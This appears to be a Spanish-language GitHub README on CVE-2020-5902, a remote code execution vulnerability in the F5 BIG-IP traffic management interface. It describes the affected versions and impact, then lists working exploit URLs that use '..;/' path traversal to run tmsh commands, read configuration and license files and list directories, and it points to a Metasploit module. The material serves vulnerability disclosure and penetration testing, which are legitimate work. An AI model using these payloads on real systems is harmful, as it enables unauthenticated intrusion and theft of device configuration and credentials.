murataydemir/cve-2020-5902[CVE-2020-5902] F5 BIG-IP Ejecución Remota de Código (RCE)
[CVE-2020-5902] Interfaz de gestión de tráfico BIG-IP de F5 (TMUI) Ejecución remota de código
En las versiones de BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 y 11.6.1-11.6.5.1, la interfaz de gestión de tráfico (TMUI), también denominada utilidad de configuración, presenta una vulnerabilidad de ejecución remota de código (RCE) en páginas no divulgadas.
Esta vulnerabilidad permite a atacantes no autenticados, o usuarios autenticados, con acceso de red a la utilidad de configuración, a través del puerto de gestión de BIG-IP y/o las IP propias, ejecutar comandos arbitrarios del sistema, crear o eliminar archivos, deshabilitar servicios y/o ejecutar código Java arbitrario. Esta vulnerabilidad puede resultar en el compromiso total del sistema. El sistema BIG-IP en modo Appliance también es vulnerable. Este problema no está expuesto en el plano de datos; solo el plano de control se ve afectado.
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
El aviso de seguridad original fue publicado por F5 y puedes acceder a él desde aquí
Además, hay un módulo de metasploit disponible para CVE-2020-5902 con clasificación Excelente. Puedes encontrar los códigos ruby del módulo de metasploit para exploits/linux/http/f5_bigip_tmui_rce.rb